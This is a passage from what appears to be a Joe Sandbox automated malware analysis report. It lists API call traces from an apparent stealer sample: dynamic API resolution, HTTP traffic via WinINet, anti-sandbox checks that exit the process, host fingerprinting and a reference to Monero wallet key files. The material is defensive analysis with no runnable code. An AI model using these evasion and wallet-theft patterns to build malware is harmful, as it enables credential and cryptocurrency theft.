GetProcAddress.KERNEL32(76210000,018ADC28), ref: 00B09F07
GetProcAddress.KERNEL32(76210000,018ADBC8), ref: 00B09F1F
GetProcAddress.KERNEL32(76210000,018ADB20), ref: 00B09F38
GetProcAddress.KERNEL32(76210000,0189FA48), ref: 00B09F50
GetProcAddress.KERNEL32(76210000,018ADD60), ref: 00B09F68
GetProcAddress.KERNEL32(76210000,018ADB38), ref: 00B09F81
GetProcAddress.KERNEL32(76210000,018952E8), ref: 00B09F99
GetProcAddress.KERNEL32(76210000,018ADB68), ref: 00B09FB1
GetProcAddress.KERNEL32(76210000,01895308), ref: 00B09FCA
GetProcAddress.KERNEL32(76210000,018ADBE0), ref: 00B09FE2
GetProcAddress.KERNEL32(76210000,018ADB80), ref: 00B09FFA
GetProcAddress.KERNEL32(76210000,01894F88), ref: 00B0A013
GetProcAddress.KERNEL32(76210000,01895128), ref: 00B0A02B
LoadLibraryA.KERNEL32(018ADB50,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A03D
LoadLibraryA.KERNEL32(018ADDA8,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A04E
LoadLibraryA.KERNEL32(018ADBF8,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A060
LoadLibraryA.KERNEL32(018ADC10,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A072
LoadLibraryA.KERNEL32(018ADAF0,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A083
LoadLibraryA.KERNEL32(018ADC40,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A095
LoadLibraryA.KERNEL32(018ADC58,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A0A7
LoadLibraryA.KERNEL32(018ADE50,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A0B8
GetProcAddress.KERNEL32(751E0000,018951E8), ref: 00B0A0DA
GetProcAddress.KERNEL32(751E0000,018ADE68), ref: 00B0A0F2
GetProcAddress.KERNEL32(751E0000,018A8C68), ref: 00B0A10A
GetProcAddress.KERNEL32(751E0000,018ADE80), ref: 00B0A123
GetProcAddress.KERNEL32(751E0000,01895288), ref: 00B0A13B
GetProcAddress.KERNEL32(701C0000,0189A6F8), ref: 00B0A160
GetProcAddress.KERNEL32(701C0000,018956E8), ref: 00B0A179
GetProcAddress.KERNEL32(701C0000,0189A5B8), ref: 00B0A191
GetProcAddress.KERNEL32(701C0000,018ADE98), ref: 00B0A1A9
GetProcAddress.KERNEL32(701C0000,018ADEB0), ref: 00B0A1C2
GetProcAddress.KERNEL32(701C0000,01895668), ref: 00B0A1DA
GetProcAddress.KERNEL32(701C0000,018954A8), ref: 00B0A1F2
GetProcAddress.KERNEL32(701C0000,018ADE38), ref: 00B0A20B
GetProcAddress.KERNEL32(753A0000,01895468), ref: 00B0A22C
GetProcAddress.KERNEL32(753A0000,018954C8), ref: 00B0A244
GetProcAddress.KERNEL32(753A0000,018ADEF8), ref: 00B0A25D
GetProcAddress.KERNEL32(753A0000,018ADF40), ref: 00B0A275
GetProcAddress.KERNEL32(753A0000,01895408), ref: 00B0A28D
GetProcAddress.KERNEL32(76310000,0189A810), ref: 00B0A2B3
GetProcAddress.KERNEL32(76310000,0189A838), ref: 00B0A2CB
GetProcAddress.KERNEL32(76310000,018ADF10), ref: 00B0A2E3
GetProcAddress.KERNEL32(76310000,018955A8), ref: 00B0A2FC
GetProcAddress.KERNEL32(76310000,018955E8), ref: 00B0A314
GetProcAddress.KERNEL32(76310000,0189A8B0), ref: 00B0A32C
GetProcAddress.KERNEL32(76910000,018ADEC8), ref: 00B0A352
GetProcAddress.KERNEL32(76910000,01895348), ref: 00B0A36A
GetProcAddress.KERNEL32(76910000,018A8B88), ref: 00B0A382
GetProcAddress.KERNEL32(76910000,018ADF28), ref: 00B0A39B
GetProcAddress.KERNEL32(76910000,018ADE08), ref: 00B0A3B3
GetProcAddress.KERNEL32(76910000,01895488), ref: 00B0A3CB
GetProcAddress.KERNEL32(76910000,01895548), ref: 00B0A3E4
GetProcAddress.KERNEL32(76910000,018ADF58), ref: 00B0A3FC
GetProcAddress.KERNEL32(76910000,018ADE20), ref: 00B0A414
GetProcAddress.KERNEL32(75B30000,01895448), ref: 00B0A436
GetProcAddress.KERNEL32(75B30000,018ADEE0), ref: 00B0A44E
GetProcAddress.KERNEL32(75B30000,018ADF70), ref: 00B0A466
GetProcAddress.KERNEL32(75B30000,018ADDC0), ref: 00B0A47F
GetProcAddress.KERNEL32(75B30000,018ADDD8), ref: 00B0A497
GetProcAddress.KERNEL32(75670000,01895628), ref: 00B0A4B8
GetProcAddress.KERNEL32(75670000,018954E8), ref: 00B0A4D1
GetProcAddress.KERNEL32(76AC0000,018953E8), ref: 00B0A4F2
GetProcAddress.KERNEL32(76AC0000,018ADDF0), ref: 00B0A50A
GetProcAddress.KERNEL32(6F4E0000,01895608), ref: 00B0A530
GetProcAddress.KERNEL32(6F4E0000,01895428), ref: 00B0A548
GetProcAddress.KERNEL32(6F4E0000,01895388), ref: 00B0A560
GetProcAddress.KERNEL32(6F4E0000,018AD808), ref: 00B0A579
GetProcAddress.KERNEL32(6F4E0000,01895648), ref: 00B0A591
GetProcAddress.KERNEL32(6F4E0000,01895368), ref: 00B0A5A9
GetProcAddress.KERNEL32(6F4E0000,01895508), ref: 00B0A5C2
GetProcAddress.KERNEL32(6F4E0000,018956C8), ref: 00B0A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00B0A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00B0A607
GetProcAddress.KERNEL32(75AE0000,018AD8E0), ref: 00B0A629
GetProcAddress.KERNEL32(75AE0000,018A8B98), ref: 00B0A641
GetProcAddress.KERNEL32(75AE0000,018AD898), ref: 00B0A659
GetProcAddress.KERNEL32(75AE0000,018AD9E8), ref: 00B0A672
GetProcAddress.KERNEL32(76300000,01895528), ref: 00B0A693
GetProcAddress.KERNEL32(6FE30000,018AD838), ref: 00B0A6B4
GetProcAddress.KERNEL32(6FE30000,01895568), ref: 00B0A6CD
GetProcAddress.KERNEL32(6FE30000,018ADA48), ref: 00B0A6E5
GetProcAddress.KERNEL32(6FE30000,018AD958), ref: 00B0A6FD

Strings

InternetSetOptionA, xrefs: 00B0A5E5
HttpQueryInfoA, xrefs: 00B0A5FC

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 3360c76d67ae0827feb1c9cec8575d294bb5c68cc4072c35adf4df20818aa681
Instruction ID: e88f771bba069bbb65ce81736fb39b478fd5a3737ea19c584196a87be00d832c
Opcode Fuzzy Hash: 3360c76d67ae0827feb1c9cec8575d294bb5c68cc4072c35adf4df20818aa681
Instruction Fuzzy Hash: 4262F7B6704300AFC344DFADED88D663BF9F79C701718851AA689C3364D679A842DB72

Function 00AF6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00B10DFE,00000001,00000000,00000000,00000000), ref: 00AF62E1
StrCmpCA.SHLWAPI(?,018AFBE0), ref: 00AF6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF6335
HttpOpenRequestA.WININET(00000000,GET,?,018AF500,00000000,00000000,00400100,00000000), ref: 00AF6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AF63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00AF63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AF646D
InternetCloseHandle.WININET(00000000), ref: 00AF64EF
InternetCloseHandle.WININET(00000000), ref: 00AF64F9
InternetCloseHandle.WININET(00000000), ref: 00AF6503

Strings

ERROR, xrefs: 00AF64C9
ERROR, xrefs: 00AF6407
GET, xrefs: 00AF637C

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 0271d7b4cd74067f19f5d435a3eb98221ba763133f6c7c59ecdb632d61c0f362
Instruction ID: b985d29fc0862fbce8d0b2c7b07b240c58f39cccbb2f78cafb7accb817e94c73
Opcode Fuzzy Hash: 0271d7b4cd74067f19f5d435a3eb98221ba763133f6c7c59ecdb632d61c0f362
Instruction Fuzzy Hash: 54711D71A00318ABDB14EFE4DC49FEE77B8AB44701F108599F609AB2D0DBB46A85CF51

Function 00B05510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05857

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00B051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05228

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05318
Part of subcall function 00B052C0: lstrlen.KERNEL32(00000000), ref: 00B0532F
Part of subcall function 00B052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00B05364
Part of subcall function 00B052C0: lstrlen.KERNEL32(00000000), ref: 00B05383
Part of subcall function 00B052C0: lstrlen.KERNEL32(00000000), ref: 00B053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B0578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05A0C
Sleep.KERNEL32(0000EA60), ref: 00B05A1B

Strings

ERROR, xrefs: 00B05693
ERROR, xrefs: 00B05849
ERROR, xrefs: 00B0577D
ERROR, xrefs: 00B05932
ERROR, xrefs: 00B05636
ERROR, xrefs: 00B059FE

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 22d80000f5161789ef571a38b8f94c1db42e08fc1f9d9f85a3f086dc5b749db8
Instruction ID: 5e968d9e6f1439addae1599e09773a4fcb17f7166841ab412e4c3da4d15be1d7
Opcode Fuzzy Hash: 22d80000f5161789ef571a38b8f94c1db42e08fc1f9d9f85a3f086dc5b749db8
Instruction Fuzzy Hash: 02E145719103049ACB14FBA4DD56EFE7BBCAF54300F40C998B506A65D1EF34AE49CBA2

Function 00B017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00B017C5
ExitProcess.KERNEL32 ref: 00B017D1

Strings

block, xrefs: 00B017B7

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 5f27c29710c76597739a09df0185a87e9834c305510adb3b9feb7eeba0075040
Instruction ID: 5ff3481474b7ee3ba768f88fa2043f7446d436a0e3374ecb747f8dc0ba702e29
Opcode Fuzzy Hash: 5f27c29710c76597739a09df0185a87e9834c305510adb3b9feb7eeba0075040
Instruction Fuzzy Hash: FF511074A14209EBCB08DFA8D994ABE7BF5BF44704F108898E805A7290D771D952CB62

Function 00B07500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B07542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B0757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07603
RtlAllocateHeap.NTDLL(00000000), ref: 00B0760A
wsprintfA.USER32 ref: 00B07640

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

:, xrefs: 00B0755C
C, xrefs: 00B0754C
\, xrefs: 00B07560

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 33a363fe12427317ac104071315f0dfcda35cd36ca159820c3bbd76578927970
Instruction ID: fda12e449ac538118b80dd483ce154c8c4d7b564bfa03a5ee28909f0b0016175
Opcode Fuzzy Hash: 33a363fe12427317ac104071315f0dfcda35cd36ca159820c3bbd76578927970
Instruction Fuzzy Hash: AB4171B1D44748ABDB10DB98DC85BEEBBB8EB18700F104199F509A72C0DB75AA44CBA5

Function 00B069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A1698), ref: 00B098A1
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A15F0), ref: 00B098BA
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A14E8), ref: 00B098D2
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A15D8), ref: 00B098EA
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A16B0), ref: 00B09903
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A8C38), ref: 00B0991B
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,01895048), ref: 00B09933
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,01895068), ref: 00B0994C
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A16C8), ref: 00B09964
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A1758), ref: 00B0997C
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A1650), ref: 00B09995
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A1608), ref: 00B099AD
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,01895248), ref: 00B099C5
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,018A15A8), ref: 00B099DE

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00AF11D0: ExitProcess.KERNEL32 ref: 00AF1211

Part of subcall function 00AF1160: GetSystemInfo.KERNEL32(?), ref: 00AF116A
Part of subcall function 00AF1160: ExitProcess.KERNEL32 ref: 00AF117E

Part of subcall function 00AF1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00AF112B
Part of subcall function 00AF1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00AF1132
Part of subcall function 00AF1110: ExitProcess.KERNEL32 ref: 00AF1143

Part of subcall function 00AF1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00AF123E
Part of subcall function 00AF1220: ExitProcess.KERNEL32 ref: 00AF1294

Part of subcall function 00B06770: GetUserDefaultLangID.KERNEL32 ref: 00B06774

Part of subcall function 00AF1190: ExitProcess.KERNEL32 ref: 00AF11C6

Part of subcall function 00B07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
Part of subcall function 00B07850: RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
Part of subcall function 00B07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

Part of subcall function 00B078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
Part of subcall function 00B078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
Part of subcall function 00B078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,018A8AC8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B06AE8
CloseHandle.KERNEL32(00000000), ref: 00B06AF9
Sleep.KERNEL32(00001770), ref: 00B06B04
CloseHandle.KERNEL32(?,00000000,?,018A8AC8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06B1A
ExitProcess.KERNEL32 ref: 00B06B22

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 95be88afb61da1637b3b1da83d5ff934b44449665a563602e8e96e67bb79e10b
Instruction ID: 6b4493829b545af108a94eef09497d092e90f42397aaad58cd08ce4af4868c5a
Opcode Fuzzy Hash: 95be88afb61da1637b3b1da83d5ff934b44449665a563602e8e96e67bb79e10b
Instruction Fuzzy Hash: 5531FE71E10308AADB04FBF0DD56BFE7BB8AF14340F504998F252A61D2DF706945C6A6

Function 00B06AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,018A8AC8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B06AE8
CloseHandle.KERNEL32(00000000), ref: 00B06AF9
Sleep.KERNEL32(00001770), ref: 00B06B04
CloseHandle.KERNEL32(?,00000000,?,018A8AC8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06B1A
ExitProcess.KERNEL32 ref: 00B06B22

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
